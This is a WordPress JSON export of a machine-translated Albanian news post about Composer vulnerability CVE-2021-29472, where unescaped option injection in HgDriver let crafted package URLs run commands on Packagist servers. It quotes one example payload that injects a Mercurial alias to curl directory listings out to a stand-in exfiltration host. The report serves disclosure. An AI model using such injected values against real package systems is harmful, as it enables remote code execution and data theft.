{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Nj\u00eb dob\u00ebsi n\u00eb menaxherin e paketave Composer, e cila lejon kompromitimin e repositorit PHP Packagist","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb menaxherin e var\u00ebsive Composer \u00ebsht\u00eb identifikuar nj\u00eb dob\u00ebsi kritike (CVE-2021-29472) q\u00eb lejon ekzekutimin e komandave t\u00eb rast\u00ebsishme n\u00eb sistem gjat\u00eb p\u00ebrpunimit t\u00eb nj\u00eb pakete me nj\u00eb vler\u00eb URL t\u00eb strukturuar posa\u00e7\u00ebrisht, e cila p\u00ebrcakton adres\u00ebn p\u00ebr shkarkimin e kodit burimor. Problemi shfaqet n\u00eb komponent\u00ebt GitDriver, SvnDriver dhe HgDriver, t\u00eb p\u00ebrdorura gjat\u00eb p\u00ebrdorimit t\u00eb sistemeve t\u00eb menaxhimit t\u00eb kodit burimor Git, Subversion dhe Mercurial. Dob\u00ebsia \u00ebsht\u00eb rregulluar n\u00eb versionet Composer 1.10.22 dhe 2.0.13. <\/p>\n

Ve\u00e7ohet se problemi e ka prekur kryesisht depozit\u00ebn e pakove Packagist, e cila p\u00ebrdoret n\u00eb Composer n\u00eb m\u00ebnyr\u00eb t\u00eb paracaktuar dhe p\u00ebrmban 306 mij\u00eb paketa p\u00ebr zhvilluesit e PHP, duke sh\u00ebrbyer \u00e7do muaj m\u00eb shum\u00eb se 1.4 miliard shkarkime. Gjat\u00eb nj\u00eb eksperimentimi \u00ebsht\u00eb treguar se, n\u00ebse ke informacion rreth problemit, sulmuesit mund t\u00eb marrin kontroll mbi infrastruktur\u00ebn e Packagist dhe t\u00eb kapin kredencialet e zhvilluesve ose t\u00eb redirektojn\u00eb shkarkimin e pakove n\u00eb nj\u00eb server t\u00eb jasht\u00ebm, duke organizuar dor\u00ebzimin e variant\u00ebve t\u00eb pakove me ndryshime t\u00eb d\u00ebmshme p\u00ebr t\u00eb vendosur nj\u00eb backdoor gjat\u00eb procesit t\u00eb instalimit t\u00eb var\u00ebsive. <\/p>\n

Rreziku p\u00ebr p\u00ebrdoruesit e fundit \u00ebsht\u00eb i kufizuar n\u00eb at\u00eb q\u00eb p\u00ebrmbajtja e composer.json zakonisht p\u00ebrcaktohet nga vet\u00eb p\u00ebrdoruesi, nd\u00ebrsa lidhjet me tekstet burimore transmetohen gjat\u00eb aksesit n\u00eb depo t\u00eb jashtme, zakonisht t\u00eb besueshme. Goditja kryesore i \u00ebsht\u00eb b\u00ebr\u00eb depozit\u00ebs Packagist.org dhe sh\u00ebrbimit Private Packagist, t\u00eb cilat th\u00ebrrasin Composer duke transmetuar t\u00eb dh\u00ebnat e marra nga p\u00ebrdoruesit. Kriminel\u00ebt mund t\u00eb ekzekutonin kodin e tyre n\u00eb serverat e Packagist duke publikuar nj\u00eb paket\u00eb t\u00eb formatuar posa\u00e7\u00ebrisht. <\/p>\n

Ekipa e Packagist eliminoi vulnerabilitetin brenda 12 or\u00ebsh pas njoftimit p\u00ebr k\u00ebt\u00eb \u00e7\u00ebshtje. Hulumtuesit e njoftuan n\u00eb m\u00ebnyr\u00eb private zhvilluesit e Packagist m\u00eb 22 prill dhe n\u00eb t\u00eb nj\u00ebjt\u00ebn dit\u00eb problemi u zgjidh. Nj\u00eb p\u00ebrdit\u00ebsim publik i Composer me eliminimin e vulnerabilitetit u publikua m\u00eb 27 prill, dhe detajet u zbuluan m\u00eb 28 prill. Auditimi i log\u00ebve n\u00eb serverat e Packagist nuk zbuloi ndonj\u00eb aktivitet t\u00eb dyshimt\u00eb t\u00eb lidhur me vulnerabilitetin. <\/p>\n

Problemi \u00ebsht\u00eb shkaktuar nga nj\u00eb gabim n\u00eb kodin e verifikimit t\u00eb URL-ve n\u00eb skedarin rr\u00ebnjor composer.json dhe lidhjet p\u00ebr shkarkimin e teksteve burimore. Gabimi \u00ebsht\u00eb pranish\u00ebm n\u00eb kod q\u00eb nga n\u00ebntori 2011. N\u00eb Packagist, p\u00ebr t\u00eb organizuar shkarkimin e kodit pa u lidhur me nj\u00eb sistem t\u00eb caktuar t\u00eb menaxhimit t\u00eb teksteve, aplikohen nj\u00ebsi t\u00eb posa\u00e7me q\u00eb realizohen n\u00ebp\u00ebrmjet thirrjes \u201efromShellCommandline\u201c duke kaluar argumentet e linj\u00ebs s\u00eb komand\u00ebs. P\u00ebr shembull, p\u00ebr git thirret komanda \u201egit ls-remote \u2014heads $URL\u201c, ku URL-ja \u00ebsht\u00eb p\u00ebrpunuar duke p\u00ebrdorur metod\u00ebn \u201eProcessExecutor::escape($url)\u201c, e cila ekranohet konstrukta potencialisht t\u00eb rrezikshme, si \u201e$(…)\u201c ose \u201e`…`. <\/p>\n

Thelbi i problemit \u00ebsht\u00eb se metoda ProcessExecutor::escape nuk ekranohej sekuenca \u201e\u2014\u201c, e cila lejonte specifikimin e \u00e7do parametri t\u00eb shtes\u00eb n\u00eb URL. E gjith\u00eb kjo ekranuar mungonte n\u00eb drejtuesit GitDriver.php, SvnDriver.php dhe HgDriver.php. Sulmi p\u00ebrmes GitDriver.php pengohej nga fakti q\u00eb komanda \u201egit ls-remote\u201c nuk mb\u00ebshteste specifikimin e argumenteve t\u00ebshtes\u00eb pas rrug\u00ebs. Nj\u00eb sulm mund t\u00eb ishte i mundur p\u00ebr HgDriver.php p\u00ebrmes kalimit t\u00eb parametrin \u201e\u2014config\u201c n\u00eb utilitarin \u201ehq\u201c, i cili lejonte realizimin e \u00e7do komande p\u00ebrmes manipulimit me konfigurimin \u201ealias.identify\u201c. P\u00ebr shembull, p\u00ebr t\u00eb shkarkuar dhe ekzekutuar kodin p\u00ebrmes nisjes s\u00eb utilitarit curl, mund t\u00eb specifikohej: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n

By placing a test package with such a URL in Packagist, researchers found that after being hosted on their server, an HTTP request was received from one of the servera<\/a> Packagist in AWS, containing a listing of files in the current directory.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerability in the Composer package manager that allows compromise of the PHP repository Packagist | ProHoster","description":"N\u00eb menaxherin e var\u00ebsive Composer \u00ebsht\u00eb identifikuar nj\u00eb dob\u00ebsi kritike (CVE-2021-29472) q\u00eb lejon ekzekutimin e komandave t\u00eb rast\u00ebsishme n\u00eb sistem gjat\u00eb p\u00ebrpunimit t\u00eb nj\u00eb pakete me nj\u00eb vler\u00eb URL t\u00eb strukturuar posa\u00e7\u00ebrisht, e cila p\u00ebrcakton adres\u00ebn p\u00ebr shkarkimin e kodit burimor. Problemi shfaqet n\u00eb komponent\u00ebt GitDriver, SvnDriver dhe HgDriver, t\u00eb p\u00ebrdorura gjat\u00eb p\u00ebrdorimit t\u00eb sistemeve t\u00eb menaxhimit t\u00eb kodit burimor Git, Subversion dhe Mercurial. Dob\u00ebsia \u00ebsht\u00eb rregulluar n\u00eb versionet Composer 1.10.22 dhe 2.0.13.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13.","og:url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}